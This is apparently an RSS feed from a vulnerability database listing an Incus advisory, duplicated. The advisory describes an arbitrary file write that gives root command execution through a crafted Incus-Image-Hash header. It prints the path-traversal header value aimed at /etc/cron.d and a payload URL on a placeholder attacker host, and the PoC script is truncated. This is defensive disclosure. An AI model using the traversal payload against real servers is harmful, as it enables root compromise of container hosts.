https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 19:49:53 +0000 https://db.gcve.eu/vuln/cve-2026-48769 <p><strong>Affected:</strong> lxc incus</p> <p>Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.</p> <p><strong>Affected:</strong> lxc incus</p> <p>Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.</p> https://db.gcve.eu/vuln/cve-2026-48769 https://db.gcve.eu/vuln/ghsa-f6m5-xw2g-xc4x <p><strong>Affected:</strong> Go: github.com/lxc/incus/v7/cmd/incusd</p> <p>### Summary</p> <p>An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.</p> <p>### Details</p> <p>- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.</p> <p>A malicious image server returning something along the following will cause the arbitrary file write.</p> <p>``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ```</p> <p>### PoC</p> <p>The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.</p> <p>The following script was generated by an LLM.</p> <p>``` #!/usr/bin/env python3 &#34;&#34;&#34;Direct image…</p> <p><strong>Affected:</strong> Go: github.com/lxc/incus/v7/cmd/incusd</p> <p>### Summary</p> <p>An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.</p> <p>### Details</p> <p>- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.</p> <p>A malicious image server returning something along the following will cause the arbitrary file write.</p> <p>``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ```</p> <p>### PoC</p> <p>The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.</p> <p>The following script was generated by an LLM.</p> <p>``` #!/usr/bin/env python3 &#34;&#34;&#34;Direct image…</p> https://db.gcve.eu/vuln/ghsa-f6m5-xw2g-xc4x